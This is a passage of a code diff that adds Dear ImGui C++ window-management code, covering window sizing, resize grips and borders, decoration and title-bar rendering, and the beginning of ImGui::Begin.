new_size.y = ImMax(new_size.y, window_for_height->TitleBarHeight() + window_for_height->MenuBarHeight() + ImMax(0.0f, g.Style.WindowRounding - 1.0f)); // Reduce artifacts with very small windows + } + return new_size; +} + +static ImVec2 CalcWindowContentSize(ImGuiWindow* window) +{ + if (window->Collapsed) + if (window->AutoFitFramesX <= 0 && window->AutoFitFramesY <= 0) + return window->ContentSize; + if (window->Hidden && window->HiddenFramesCannotSkipItems == 0 && window->HiddenFramesCanSkipItems > 0) + return window->ContentSize; + + ImVec2 sz; + sz.x = IM_FLOOR((window->ContentSizeExplicit.x != 0.0f) ? window->ContentSizeExplicit.x : window->DC.CursorMaxPos.x - window->DC.CursorStartPos.x); + sz.y = IM_FLOOR((window->ContentSizeExplicit.y != 0.0f) ? window->ContentSizeExplicit.y : window->DC.CursorMaxPos.y - window->DC.CursorStartPos.y); + return sz; +} + +static ImVec2 CalcWindowAutoFitSize(ImGuiWindow* window, const ImVec2& size_contents) +{ + ImGuiContext& g = *GImGui; + ImGuiStyle& style = g.Style; + ImVec2 size_decorations = ImVec2(0.0f, window->TitleBarHeight() + window->MenuBarHeight()); + ImVec2 size_pad = window->WindowPadding * 2.0f; + ImVec2 size_desired = size_contents + size_pad + size_decorations; + if (window->Flags & ImGuiWindowFlags_Tooltip) + { + // Tooltip always resize + return size_desired; + } + else + { + // Maximum window size is determined by the viewport size or monitor size + const bool is_popup = (window->Flags & ImGuiWindowFlags_Popup) != 0; + const bool is_menu = (window->Flags & ImGuiWindowFlags_ChildMenu) != 0; + ImVec2 size_min = style.WindowMinSize; + if (is_popup || is_menu) // Popups and menus bypass style.WindowMinSize by default, but we give then a non-zero minimum size to facilitate understanding problematic cases (e.g. empty popups) + size_min = ImMin(size_min, ImVec2(4.0f, 4.0f)); + ImVec2 size_auto_fit = ImClamp(size_desired, size_min, ImMax(size_min, g.IO.DisplaySize - style.DisplaySafeAreaPadding * 2.0f)); + + // When the window cannot fit all contents (either because of constraints, either because screen is too small), + // we are growing the size on the other axis to compensate for expected scrollbar. FIXME: Might turn bigger than ViewportSize-WindowPadding. + ImVec2 size_auto_fit_after_constraint = CalcWindowSizeAfterConstraint(window, size_auto_fit); + bool will_have_scrollbar_x = (size_auto_fit_after_constraint.x - size_pad.x - size_decorations.x < size_contents.x && !(window->Flags& ImGuiWindowFlags_NoScrollbar) && (window->Flags& ImGuiWindowFlags_HorizontalScrollbar)) || (window->Flags & ImGuiWindowFlags_AlwaysHorizontalScrollbar); + bool will_have_scrollbar_y = (size_auto_fit_after_constraint.y - size_pad.y - size_decorations.y < size_contents.y && !(window->Flags& ImGuiWindowFlags_NoScrollbar)) || (window->Flags & ImGuiWindowFlags_AlwaysVerticalScrollbar); + if (will_have_scrollbar_x) + size_auto_fit.y += style.ScrollbarSize; + if (will_have_scrollbar_y) + size_auto_fit.x += style.ScrollbarSize; + return size_auto_fit; + } +} + +ImVec2 ImGui::CalcWindowExpectedSize(ImGuiWindow* window) +{ + ImVec2 size_contents = CalcWindowContentSize(window); + ImVec2 size_auto_fit = CalcWindowAutoFitSize(window, size_contents); + ImVec2 size_final = CalcWindowSizeAfterConstraint(window, size_auto_fit); + return size_final; +} + +static ImGuiCol GetWindowBgColorIdxFromFlags(ImGuiWindowFlags flags) +{ + if (flags & (ImGuiWindowFlags_Tooltip | ImGuiWindowFlags_Popup)) + return ImGuiCol_PopupBg; + if (flags & ImGuiWindowFlags_ChildWindow) + return ImGuiCol_ChildBg; + return ImGuiCol_WindowBg; +} + +static void CalcResizePosSizeFromAnyCorner(ImGuiWindow* window, const ImVec2& corner_target, const ImVec2& corner_norm, ImVec2* out_pos, ImVec2* out_size) +{ + ImVec2 pos_min = ImLerp(corner_target, window->Pos, corner_norm); // Expected window upper-left + ImVec2 pos_max = ImLerp(window->Pos + window->Size, corner_target, corner_norm); // Expected window lower-right + ImVec2 size_expected = pos_max - pos_min; + ImVec2 size_constrained = CalcWindowSizeAfterConstraint(window, size_expected); + *out_pos = pos_min; + if (corner_norm.x == 0.0f) + out_pos->x -= (size_constrained.x - size_expected.x); + if (corner_norm.y == 0.0f) + out_pos->y -= (size_constrained.y - size_expected.y); + *out_size = size_constrained; +} + +struct ImGuiResizeGripDef +{ + ImVec2 CornerPosN; + ImVec2 InnerDir; + int AngleMin12, AngleMax12; +}; + +static const ImGuiResizeGripDef resize_grip_def[4] = +{ + { ImVec2(1, 1), ImVec2(-1, -1), 0, 3 }, // Lower-right + { ImVec2(0, 1), ImVec2(+1, -1), 3, 6 }, // Lower-left + { ImVec2(0, 0), ImVec2(+1, +1), 6, 9 }, // Upper-left (Unused) + { ImVec2(1, 0), ImVec2(-1, +1), 9, 12 }, // Upper-right (Unused) +}; + +struct ImGuiResizeBorderDef +{ + ImVec2 InnerDir; + ImVec2 CornerPosN1, CornerPosN2; + float OuterAngle; +}; + +static const ImGuiResizeBorderDef resize_border_def[4] = +{ + { ImVec2(0, +1), ImVec2(0, 0), ImVec2(1, 0), IM_PI * 1.50f }, // Top + { ImVec2(-1, 0), ImVec2(1, 0), ImVec2(1, 1), IM_PI * 0.00f }, // Right + { ImVec2(0, -1), ImVec2(1, 1), ImVec2(0, 1), IM_PI * 0.50f }, // Bottom + { ImVec2(+1, 0), ImVec2(0, 1), ImVec2(0, 0), IM_PI * 1.00f } // Left +}; + +static ImRect GetResizeBorderRect(ImGuiWindow* window, int border_n, float perp_padding, float thickness) +{ + ImRect rect = window->Rect(); + if (thickness == 0.0f) rect.Max -= ImVec2(1, 1); + if (border_n == 0) { return ImRect(rect.Min.x + perp_padding, rect.Min.y - thickness, rect.Max.x - perp_padding, rect.Min.y + thickness); } // Top + if (border_n == 1) { return ImRect(rect.Max.x - thickness, rect.Min.y + perp_padding, rect.Max.x + thickness, rect.Max.y - perp_padding); } // Right + if (border_n == 2) { return ImRect(rect.Min.x + perp_padding, rect.Max.y - thickness, rect.Max.x - perp_padding, rect.Max.y + thickness); } // Bottom + if (border_n == 3) { return ImRect(rect.Min.x - thickness, rect.Min.y + perp_padding, rect.Min.x + thickness, rect.Max.y - perp_padding); } // Left + IM_ASSERT(0); + return ImRect(); +} + +// 0..3: corners (Lower-right, Lower-left, Unused, Unused) +// 4..7: borders (Top, Right, Bottom, Left) +ImGuiID ImGui::GetWindowResizeID(ImGuiWindow* window, int n) +{ + IM_ASSERT(n >= 0 && n <= 7); + ImGuiID id = window->ID; + id = ImHashStr("#RESIZE", 0, id); + id = ImHashData(&n, sizeof(int), id); + return id; +} + +// Handle resize for: Resize Grips, Borders, Gamepad +// Return true when using auto-fit (double click on resize grip) +static bool ImGui::UpdateWindowManualResize(ImGuiWindow* window, const ImVec2& size_auto_fit, int* border_held, int resize_grip_count, ImU32 resize_grip_col[4], const ImRect& visibility_rect) +{ + ImGuiContext& g = *GImGui; + ImGuiWindowFlags flags = window->Flags; + + if ((flags & ImGuiWindowFlags_NoResize) || (flags & ImGuiWindowFlags_AlwaysAutoResize) || window->AutoFitFramesX > 0 || window->AutoFitFramesY > 0) + return false; + if (window->WasActive == false) // Early out to avoid running this code for e.g. an hidden implicit/fallback Debug window. + return false; + + bool ret_auto_fit = false; + const int resize_border_count = g.IO.ConfigWindowsResizeFromEdges ? 4 : 0; + const float grip_draw_size = IM_FLOOR(ImMax(g.FontSize * 1.35f, window->WindowRounding + 1.0f + g.FontSize * 0.2f)); + const float grip_hover_inner_size = IM_FLOOR(grip_draw_size * 0.75f); + const float grip_hover_outer_size = g.IO.ConfigWindowsResizeFromEdges ? WINDOWS_RESIZE_FROM_EDGES_HALF_THICKNESS : 0.0f; + + ImVec2 pos_target(FLT_MAX, FLT_MAX); + ImVec2 size_target(FLT_MAX, FLT_MAX); + + // Resize grips and borders are on layer 1 + window->DC.NavLayerCurrent = ImGuiNavLayer_Menu; + + // Manual resize grips + PushID("#RESIZE"); + for (int resize_grip_n = 0; resize_grip_n < resize_grip_count; resize_grip_n++) + { + const ImGuiResizeGripDef& grip = resize_grip_def[resize_grip_n]; + const ImVec2 corner = ImLerp(window->Pos, window->Pos + window->Size, grip.CornerPosN); + + // Using the FlattenChilds button flag we make the resize button accessible even if we are hovering over a child window + ImRect resize_rect(corner - grip.InnerDir * grip_hover_outer_size, corner + grip.InnerDir * grip_hover_inner_size); + if (resize_rect.Min.x > resize_rect.Max.x) ImSwap(resize_rect.Min.x, resize_rect.Max.x); + if (resize_rect.Min.y > resize_rect.Max.y) ImSwap(resize_rect.Min.y, resize_rect.Max.y); + bool hovered, held; + ButtonBehavior(resize_rect, window->GetID(resize_grip_n), &hovered, &held, ImGuiButtonFlags_FlattenChildren | ImGuiButtonFlags_NoNavFocus); + //GetForegroundDrawList(window)->AddRect(resize_rect.Min, resize_rect.Max, IM_COL32(255, 255, 0, 255)); + if (hovered || held) + g.MouseCursor = (resize_grip_n & 1) ? ImGuiMouseCursor_ResizeNESW : ImGuiMouseCursor_ResizeNWSE; + + if (held && g.IO.MouseDoubleClicked[0] && resize_grip_n == 0) + { + // Manual auto-fit when double-clicking + size_target = CalcWindowSizeAfterConstraint(window, size_auto_fit); + ret_auto_fit = true; + ClearActiveID(); + } + else if (held) + { + // Resize from any of the four corners + // We don't use an incremental MouseDelta but rather compute an absolute target size based on mouse position + ImVec2 corner_target = g.IO.MousePos - g.ActiveIdClickOffset + ImLerp(grip.InnerDir * grip_hover_outer_size, grip.InnerDir * -grip_hover_inner_size, grip.CornerPosN); // Corner of the window corresponding to our corner grip + ImVec2 clamp_min = ImVec2(grip.CornerPosN.x == 1.0f ? visibility_rect.Min.x : -FLT_MAX, grip.CornerPosN.y == 1.0f ? visibility_rect.Min.y : -FLT_MAX); + ImVec2 clamp_max = ImVec2(grip.CornerPosN.x == 0.0f ? visibility_rect.Max.x : +FLT_MAX, grip.CornerPosN.y == 0.0f ? visibility_rect.Max.y : +FLT_MAX); + corner_target = ImClamp(corner_target, clamp_min, clamp_max); + CalcResizePosSizeFromAnyCorner(window, corner_target, grip.CornerPosN, &pos_target, &size_target); + } + if (resize_grip_n == 0 || held || hovered) + resize_grip_col[resize_grip_n] = GetColorU32(held ? ImGuiCol_ResizeGripActive : hovered ? ImGuiCol_ResizeGripHovered : ImGuiCol_ResizeGrip); + } + for (int border_n = 0; border_n < resize_border_count; border_n++) + { + bool hovered, held; + ImRect border_rect = GetResizeBorderRect(window, border_n, grip_hover_inner_size, WINDOWS_RESIZE_FROM_EDGES_HALF_THICKNESS); + ButtonBehavior(border_rect, window->GetID(border_n + 4), &hovered, &held, ImGuiButtonFlags_FlattenChildren); + //GetForegroundDrawLists(window)->AddRect(border_rect.Min, border_rect.Max, IM_COL32(255, 255, 0, 255)); + if ((hovered && g.HoveredIdTimer > WINDOWS_RESIZE_FROM_EDGES_FEEDBACK_TIMER) || held) + { + g.MouseCursor = (border_n & 1) ? ImGuiMouseCursor_ResizeEW : ImGuiMouseCursor_ResizeNS; + if (held) + *border_held = border_n; + } + if (held) + { + ImVec2 border_target = window->Pos; + ImVec2 border_posn; + if (border_n == 0) { border_posn = ImVec2(0, 0); border_target.y = (g.IO.MousePos.y - g.ActiveIdClickOffset.y + WINDOWS_RESIZE_FROM_EDGES_HALF_THICKNESS); } // Top + if (border_n == 1) { border_posn = ImVec2(1, 0); border_target.x = (g.IO.MousePos.x - g.ActiveIdClickOffset.x + WINDOWS_RESIZE_FROM_EDGES_HALF_THICKNESS); } // Right + if (border_n == 2) { border_posn = ImVec2(0, 1); border_target.y = (g.IO.MousePos.y - g.ActiveIdClickOffset.y + WINDOWS_RESIZE_FROM_EDGES_HALF_THICKNESS); } // Bottom + if (border_n == 3) { border_posn = ImVec2(0, 0); border_target.x = (g.IO.MousePos.x - g.ActiveIdClickOffset.x + WINDOWS_RESIZE_FROM_EDGES_HALF_THICKNESS); } // Left + ImVec2 clamp_min = ImVec2(border_n == 1 ? visibility_rect.Min.x : -FLT_MAX, border_n == 2 ? visibility_rect.Min.y : -FLT_MAX); + ImVec2 clamp_max = ImVec2(border_n == 3 ? visibility_rect.Max.x : +FLT_MAX, border_n == 0 ? visibility_rect.Max.y : +FLT_MAX); + border_target = ImClamp(border_target, clamp_min, clamp_max); + CalcResizePosSizeFromAnyCorner(window, border_target, border_posn, &pos_target, &size_target); + } + } + PopID(); + + // Restore nav layer + window->DC.NavLayerCurrent = ImGuiNavLayer_Main; + + // Navigation resize (keyboard/gamepad) + if (g.NavWindowingTarget && g.NavWindowingTarget->RootWindow == window) + { + ImVec2 nav_resize_delta; + if (g.NavInputSource == ImGuiInputSource_NavKeyboard && g.IO.KeyShift) + nav_resize_delta = GetNavInputAmount2d(ImGuiNavDirSourceFlags_Keyboard, ImGuiInputReadMode_Down); + if (g.NavInputSource == ImGuiInputSource_NavGamepad) + nav_resize_delta = GetNavInputAmount2d(ImGuiNavDirSourceFlags_PadDPad, ImGuiInputReadMode_Down); + if (nav_resize_delta.x != 0.0f || nav_resize_delta.y != 0.0f) + { + const float NAV_RESIZE_SPEED = 600.0f; + nav_resize_delta *= ImFloor(NAV_RESIZE_SPEED * g.IO.DeltaTime * ImMin(g.IO.DisplayFramebufferScale.x, g.IO.DisplayFramebufferScale.y)); + nav_resize_delta = ImMax(nav_resize_delta, visibility_rect.Min - window->Pos - window->Size); + g.NavWindowingToggleLayer = false; + g.NavDisableMouseHover = true; + resize_grip_col[0] = GetColorU32(ImGuiCol_ResizeGripActive); + // FIXME-NAV: Should store and accumulate into a separate size buffer to handle sizing constraints properly, right now a constraint will make us stuck. + size_target = CalcWindowSizeAfterConstraint(window, window->SizeFull + nav_resize_delta); + } + } + + // Apply back modified position/size to window + if (size_target.x != FLT_MAX) + { + window->SizeFull = size_target; + MarkIniSettingsDirty(window); + } + if (pos_target.x != FLT_MAX) + { + window->Pos = ImFloor(pos_target); + MarkIniSettingsDirty(window); + } + + window->Size = window->SizeFull; + return ret_auto_fit; +} + +static inline void ClampWindowRect(ImGuiWindow* window, const ImRect& visibility_rect) +{ + ImGuiContext& g = *GImGui; + ImVec2 size_for_clamping = window->Size; + if (g.IO.ConfigWindowsMoveFromTitleBarOnly && !(window->Flags & ImGuiWindowFlags_NoTitleBar)) + size_for_clamping.y = window->TitleBarHeight(); + window->Pos = ImClamp(window->Pos, visibility_rect.Min - size_for_clamping, visibility_rect.Max); +} + +static void ImGui::RenderWindowOuterBorders(ImGuiWindow* window) +{ + ImGuiContext& g = *GImGui; + float rounding = window->WindowRounding; + float border_size = window->WindowBorderSize; + if (border_size > 0.0f && !(window->Flags & ImGuiWindowFlags_NoBackground)) + window->DrawList->AddRect(window->Pos, window->Pos + window->Size, GetColorU32(ImGuiCol_Border), rounding, ImDrawCornerFlags_All, border_size); + + int border_held = window->ResizeBorderHeld; + if (border_held != -1) + { + const ImGuiResizeBorderDef& def = resize_border_def[border_held]; + ImRect border_r = GetResizeBorderRect(window, border_held, rounding, 0.0f); + window->DrawList->PathArcTo(ImLerp(border_r.Min, border_r.Max, def.CornerPosN1) + ImVec2(0.5f, 0.5f) + def.InnerDir * rounding, rounding, def.OuterAngle - IM_PI * 0.25f, def.OuterAngle); + window->DrawList->PathArcTo(ImLerp(border_r.Min, border_r.Max, def.CornerPosN2) + ImVec2(0.5f, 0.5f) + def.InnerDir * rounding, rounding, def.OuterAngle, def.OuterAngle + IM_PI * 0.25f); + window->DrawList->PathStroke(GetColorU32(ImGuiCol_SeparatorActive), false, ImMax(2.0f, border_size)); // Thicker than usual + } + if (g.Style.FrameBorderSize > 0 && !(window->Flags & ImGuiWindowFlags_NoTitleBar)) + { + float y = window->Pos.y + window->TitleBarHeight() - 1; + window->DrawList->AddLine(ImVec2(window->Pos.x + border_size, y), ImVec2(window->Pos.x + window->Size.x - border_size, y), GetColorU32(ImGuiCol_Border), g.Style.FrameBorderSize); + } +} + +// Draw background and borders +// Draw and handle scrollbars +void ImGui::RenderWindowDecorations(ImGuiWindow* window, const ImRect& title_bar_rect, bool title_bar_is_highlight, int resize_grip_count, const ImU32 resize_grip_col[4], float resize_grip_draw_size) +{ + ImGuiContext& g = *GImGui; + ImGuiStyle& style = g.Style; + ImGuiWindowFlags flags = window->Flags; + + // Ensure that ScrollBar doesn't read last frame's SkipItems + IM_ASSERT(window->BeginCount == 0); + window->SkipItems = false; + + // Draw window + handle manual resize + // As we highlight the title bar when want_focus is set, multiple reappearing windows will have have their title bar highlighted on their reappearing frame. + const float window_rounding = window->WindowRounding; + const float window_border_size = window->WindowBorderSize; + if (window->Collapsed) + { + // Title bar only + float backup_border_size = style.FrameBorderSize; + g.Style.FrameBorderSize = window->WindowBorderSize; + ImU32 title_bar_col = GetColorU32((title_bar_is_highlight && !g.NavDisableHighlight) ? ImGuiCol_TitleBgActive : ImGuiCol_TitleBgCollapsed); + RenderFrame(title_bar_rect.Min, title_bar_rect.Max, title_bar_col, true, window_rounding); + g.Style.FrameBorderSize = backup_border_size; + } + else + { + // Window background + if (!(flags & ImGuiWindowFlags_NoBackground)) + { + ImU32 bg_col = GetColorU32(GetWindowBgColorIdxFromFlags(flags)); + bool override_alpha = false; + float alpha = 1.0f; + if (g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasBgAlpha) + { + alpha = g.NextWindowData.BgAlphaVal; + override_alpha = true; + } + if (override_alpha) + bg_col = (bg_col & ~IM_COL32_A_MASK) | (IM_F32_TO_INT8_SAT(alpha) << IM_COL32_A_SHIFT); + window->DrawList->AddRectFilled(window->Pos + ImVec2(0, window->TitleBarHeight()), window->Pos + window->Size, bg_col, window_rounding, (flags & ImGuiWindowFlags_NoTitleBar) ? ImDrawCornerFlags_All : ImDrawCornerFlags_Bot); + } + + // Title bar + if (!(flags & ImGuiWindowFlags_NoTitleBar)) + { + ImU32 title_bar_col = GetColorU32(title_bar_is_highlight ? ImGuiCol_TitleBgActive : ImGuiCol_TitleBg); + window->DrawList->AddRectFilled(title_bar_rect.Min, title_bar_rect.Max, title_bar_col, window_rounding, ImDrawCornerFlags_Top); + } + + // Menu bar + if (flags & ImGuiWindowFlags_MenuBar) + { + ImRect menu_bar_rect = window->MenuBarRect(); + menu_bar_rect.ClipWith(window->Rect()); // Soft clipping, in particular child window don't have minimum size covering the menu bar so this is useful for them. + window->DrawList->AddRectFilled(menu_bar_rect.Min + ImVec2(window_border_size, 0), menu_bar_rect.Max - ImVec2(window_border_size, 0), GetColorU32(ImGuiCol_MenuBarBg), (flags & ImGuiWindowFlags_NoTitleBar) ? window_rounding : 0.0f, ImDrawCornerFlags_Top); + if (style.FrameBorderSize > 0.0f && menu_bar_rect.Max.y < window->Pos.y + window->Size.y) + window->DrawList->AddLine(menu_bar_rect.GetBL(), menu_bar_rect.GetBR(), GetColorU32(ImGuiCol_Border), style.FrameBorderSize); + } + + // Scrollbars + if (window->ScrollbarX) + Scrollbar(ImGuiAxis_X); + if (window->ScrollbarY) + Scrollbar(ImGuiAxis_Y); + + // Render resize grips (after their input handling so we don't have a frame of latency) + if (!(flags & ImGuiWindowFlags_NoResize)) + { + for (int resize_grip_n = 0; resize_grip_n < resize_grip_count; resize_grip_n++) + { + const ImGuiResizeGripDef& grip = resize_grip_def[resize_grip_n]; + const ImVec2 corner = ImLerp(window->Pos, window->Pos + window->Size, grip.CornerPosN); + window->DrawList->PathLineTo(corner + grip.InnerDir * ((resize_grip_n & 1) ? ImVec2(window_border_size, resize_grip_draw_size) : ImVec2(resize_grip_draw_size, window_border_size))); + window->DrawList->PathLineTo(corner + grip.InnerDir * ((resize_grip_n & 1) ? ImVec2(resize_grip_draw_size, window_border_size) : ImVec2(window_border_size, resize_grip_draw_size))); + window->DrawList->PathArcToFast(ImVec2(corner.x + grip.InnerDir.x * (window_rounding + window_border_size), corner.y + grip.InnerDir.y * (window_rounding + window_border_size)), window_rounding, grip.AngleMin12, grip.AngleMax12); + window->DrawList->PathFillConvex(resize_grip_col[resize_grip_n]); + } + } + + // Borders + RenderWindowOuterBorders(window); + } +} + +// Render title text, collapse button, close button +void ImGui::RenderWindowTitleBarContents(ImGuiWindow* window, const ImRect& title_bar_rect, const char* name, bool* p_open) +{ + ImGuiContext& g = *GImGui; + ImGuiStyle& style = g.Style; + ImGuiWindowFlags flags = window->Flags; + + const bool has_close_button = (p_open != NULL); + const bool has_collapse_button = !(flags & ImGuiWindowFlags_NoCollapse) && (style.WindowMenuButtonPosition != ImGuiDir_None); + + // Close & Collapse button are on the Menu NavLayer and don't default focus (unless there's nothing else on that layer) + const ImGuiItemFlags item_flags_backup = window->DC.ItemFlags; + window->DC.ItemFlags |= ImGuiItemFlags_NoNavDefaultFocus; + window->DC.NavLayerCurrent = ImGuiNavLayer_Menu; + + // Layout buttons + // FIXME: Would be nice to generalize the subtleties expressed here into reusable code. + float pad_l = style.FramePadding.x; + float pad_r = style.FramePadding.x; + float button_sz = g.FontSize; + ImVec2 close_button_pos; + ImVec2 collapse_button_pos; + if (has_close_button) + { + pad_r += button_sz; + close_button_pos = ImVec2(title_bar_rect.Max.x - pad_r - style.FramePadding.x, title_bar_rect.Min.y); + } + if (has_collapse_button && style.WindowMenuButtonPosition == ImGuiDir_Right) + { + pad_r += button_sz; + collapse_button_pos = ImVec2(title_bar_rect.Max.x - pad_r - style.FramePadding.x, title_bar_rect.Min.y); + } + if (has_collapse_button && style.WindowMenuButtonPosition == ImGuiDir_Left) + { + collapse_button_pos = ImVec2(title_bar_rect.Min.x + pad_l - style.FramePadding.x, title_bar_rect.Min.y); + pad_l += button_sz; + } + + // Collapse button (submitting first so it gets priority when choosing a navigation init fallback) + if (has_collapse_button) + if (CollapseButton(window->GetID("#COLLAPSE"), collapse_button_pos)) + window->WantCollapseToggle = true; // Defer actual collapsing to next frame as we are too far in the Begin() function + + // Close button + if (has_close_button) + if (CloseButton(window->GetID("#CLOSE"), close_button_pos)) + *p_open = false; + + window->DC.NavLayerCurrent = ImGuiNavLayer_Main; + window->DC.ItemFlags = item_flags_backup; + + // Title bar text (with: horizontal alignment, avoiding collapse/close button, optional "unsaved document" marker) + // FIXME: Refactor text alignment facilities along with RenderText helpers, this is WAY too much messy code.. + const char* UNSAVED_DOCUMENT_MARKER = "*"; + const float marker_size_x = (flags & ImGuiWindowFlags_UnsavedDocument) ? CalcTextSize(UNSAVED_DOCUMENT_MARKER, NULL, false).x : 0.0f; + const ImVec2 text_size = CalcTextSize(name, NULL, true) + ImVec2(marker_size_x, 0.0f); + + // As a nice touch we try to ensure that centered title text doesn't get affected by visibility of Close/Collapse button, + // while uncentered title text will still reach edges correct. + if (pad_l > style.FramePadding.x) + pad_l += g.Style.ItemInnerSpacing.x; + if (pad_r > style.FramePadding.x) + pad_r += g.Style.ItemInnerSpacing.x; + if (style.WindowTitleAlign.x > 0.0f && style.WindowTitleAlign.x < 1.0f) + { + float centerness = ImSaturate(1.0f - ImFabs(style.WindowTitleAlign.x - 0.5f) * 2.0f); // 0.0f on either edges, 1.0f on center + float pad_extend = ImMin(ImMax(pad_l, pad_r), title_bar_rect.GetWidth() - pad_l - pad_r - text_size.x); + pad_l = ImMax(pad_l, pad_extend * centerness); + pad_r = ImMax(pad_r, pad_extend * centerness); + } + + ImRect layout_r(title_bar_rect.Min.x + pad_l, title_bar_rect.Min.y, title_bar_rect.Max.x - pad_r, title_bar_rect.Max.y); + ImRect clip_r(layout_r.Min.x, layout_r.Min.y, layout_r.Max.x + g.Style.ItemInnerSpacing.x, layout_r.Max.y); + //if (g.IO.KeyCtrl) window->DrawList->AddRect(layout_r.Min, layout_r.Max, IM_COL32(255, 128, 0, 255)); // [DEBUG] + RenderTextClipped(layout_r.Min, layout_r.Max, name, NULL, &text_size, style.WindowTitleAlign, &clip_r); + if (flags & ImGuiWindowFlags_UnsavedDocument) + { + ImVec2 marker_pos = ImVec2(ImMax(layout_r.Min.x, layout_r.Min.x + (layout_r.GetWidth() - text_size.x) * style.WindowTitleAlign.x) + text_size.x, layout_r.Min.y) + ImVec2(2 - marker_size_x, 0.0f); + ImVec2 off = ImVec2(0.0f, IM_FLOOR(-g.FontSize * 0.25f)); + RenderTextClipped(marker_pos + off, layout_r.Max + off, UNSAVED_DOCUMENT_MARKER, NULL, NULL, ImVec2(0, style.WindowTitleAlign.y), &clip_r); + } +} + +void ImGui::UpdateWindowParentAndRootLinks(ImGuiWindow* window, ImGuiWindowFlags flags, ImGuiWindow* parent_window) +{ + window->ParentWindow = parent_window; + window->RootWindow = window->RootWindowForTitleBarHighlight = window->RootWindowForNav = window; + if (parent_window && (flags & ImGuiWindowFlags_ChildWindow) && !(flags & ImGuiWindowFlags_Tooltip)) + window->RootWindow = parent_window->RootWindow; + if (parent_window && !(flags & ImGuiWindowFlags_Modal) && (flags & (ImGuiWindowFlags_ChildWindow | ImGuiWindowFlags_Popup))) + window->RootWindowForTitleBarHighlight = parent_window->RootWindowForTitleBarHighlight; + while (window->RootWindowForNav->Flags & ImGuiWindowFlags_NavFlattened) + { + IM_ASSERT(window->RootWindowForNav->ParentWindow != NULL); + window->RootWindowForNav = window->RootWindowForNav->ParentWindow; + } +} + +// Push a new Dear ImGui window to add widgets to. +// - A default window called "Debug" is automatically stacked at the beginning of every frame so you can use widgets without explicitly calling a Begin/End pair. +// - Begin/End can be called multiple times during the frame with the same window name to append content. +// - The window name is used as a unique identifier to preserve window information across frames (and save rudimentary information to the .ini file). +// You can use the "##" or "###" markers to use the same label with different id, or same id with different label. See documentation at the top of this file. +// - Return false when window is collapsed, so you can early out in your code. You always need to call ImGui::End() even if false is returned. +// - Passing 'bool* p_open' displays a Close button on the upper-right corner of the window, the pointed value will be set to false when the button is pressed. +bool ImGui::Begin(const char* name, bool* p_open, ImGuiWindowFlags flags) +{ + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + IM_ASSERT(name != NULL && name[0] != '\0'); // Window name required + IM_ASSERT(g.WithinFrameScope); // Forgot to call ImGui::NewFrame() + IM_ASSERT(g.FrameCountEnded != g.FrameCount); // Called ImGui::Render() or ImGui::EndFrame() and haven't called ImGui::NewFrame() again yet + + // Find or create + ImGuiWindow* window = FindWindowByName(name); + const bool window_just_created = (window == NULL); + if (window_just_created) + window = CreateNewWindow(name, flags); + + // Automatically disable manual moving/resizing when NoInputs is set + if ((flags & ImGuiWindowFlags_NoInputs) == ImGuiWindowFlags_NoInputs) + flags |= ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoResize; + + if (flags & ImGuiWindowFlags_NavFlattened) + IM_ASSERT(flags & ImGuiWindowFlags_ChildWindow); + + const int current_frame = g.FrameCount; + const bool first_begin_of_the_frame = (window->LastFrameActive != current_frame); + window->IsFallbackWindow = (g.CurrentWindowStack.Size == 0 && g.WithinFrameScopeWithImplicitWindow); + + // Update the Appearing flag + bool window_just_activated_by_user = (window->LastFrameActive < current_frame - 1); // Not using !WasActive because the implicit "Debug" window would always toggle off->on + const bool window_just_appearing_after_hidden_for_resize = (window->HiddenFramesCannotSkipItems > 0); + if (flags & ImGuiWindowFlags_Popup) + { + ImGuiPopupData& popup_ref = g.OpenPopupStack[g.BeginPopupStack.Size]; + window_just_activated_by_user |= (window->PopupId != popup_ref.PopupId); // We recycle popups so treat window as activated if popup id changed + window_just_activated_by_user |= (window != popup_ref.Window); + } + window->Appearing = (window_just_activated_by_user || window_just_appearing_after_hidden_for_resize); + if (window->Appearing) + SetWindowConditionAllowFlags(window, ImGuiCond_Appearing, true); + + // Update Flags, LastFrameActive, BeginOrderXXX fields + if (first_begin_of_the_frame) + { + window->Flags = (ImGuiWindowFlags)flags; + window->LastFrameActive = current_frame; + window->LastTimeActive = (float)g.Time; + window->BeginOrderWithinParent = 0; + window->BeginOrderWithinContext = (short)(g.WindowsActiveCount++); + } + else + { + flags = window->Flags; + } + + // Parent window is latched only on the first call to Begin() of the frame, so further append-calls can be done from a different window stack + ImGuiWindow* parent_window_in_stack = g.CurrentWindowStack.empty() ? NULL : g.CurrentWindowStack.back(); + ImGuiWindow* parent_window = first_begin_of_the_frame ? ((flags & (ImGuiWindowFlags_ChildWindow | ImGuiWindowFlags_Popup)) ? parent_window_in_stack : NULL) : window->ParentWindow; + IM_ASSERT(parent_window != NULL || !(flags & ImGuiWindowFlags_ChildWindow)); + + // We allow window memory to be compacted so recreate the base stack when needed. + if (window->IDStack.Size == 0) + window->IDStack.push_back(window->ID); + + // Add to stack + // We intentionally set g.CurrentWindow to NULL to prevent usage until when the viewport is set, then will call SetCurrentWindow() + g.CurrentWindowStack.push_back(window); + g.CurrentWindow = window; + window->DC.StackSizesOnBegin.SetToCurrentState(); + g.CurrentWindow = NULL; + + if (flags & ImGuiWindowFlags_Popup) + { + ImGuiPopupData& popup_ref = g.OpenPopupStack[g.BeginPopupStack.Size]; + popup_ref.Window = window; + g.BeginPopupStack.push_back(popup_ref); + window->PopupId = popup_ref.PopupId; + } + + if (window_just_appearing_after_hidden_for_resize && !(flags & ImGuiWindowFlags_ChildWindow)) + window->NavLastIds[0] = 0; + + // Update ->RootWindow and others pointers (before any possible call to FocusWindow) + if (first_begin_of_the_frame) + UpdateWindowParentAndRootLinks(window, flags, parent_window); + + // Process SetNextWindow***() calls + // (FIXME: Consider splitting the HasXXX flags into X/Y components + bool window_pos_set_by_api = false; + bool window_size_x_set_by_api = false, window_size_y_set_by_api = false; + if (g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasPos) + { + window_pos_set_by_api = (window->SetWindowPosAllowFlags & g.NextWindowData.PosCond) != 0; + if (window_pos_set_by_api && ImLengthSqr(g.NextWindowData.PosPivotVal) > 0.00001f) + { + // May be processed on the next frame if this is our first frame and we are measuring size + // FIXME: Look into removing the branch so everything can go through this same code path for consistency. + window->SetWindowPosVal = g.NextWindowData.PosVal; + window->SetWindowPosPivot = g.NextWindowData.PosPivotVal; + window->SetWindowPosAllowFlags &= 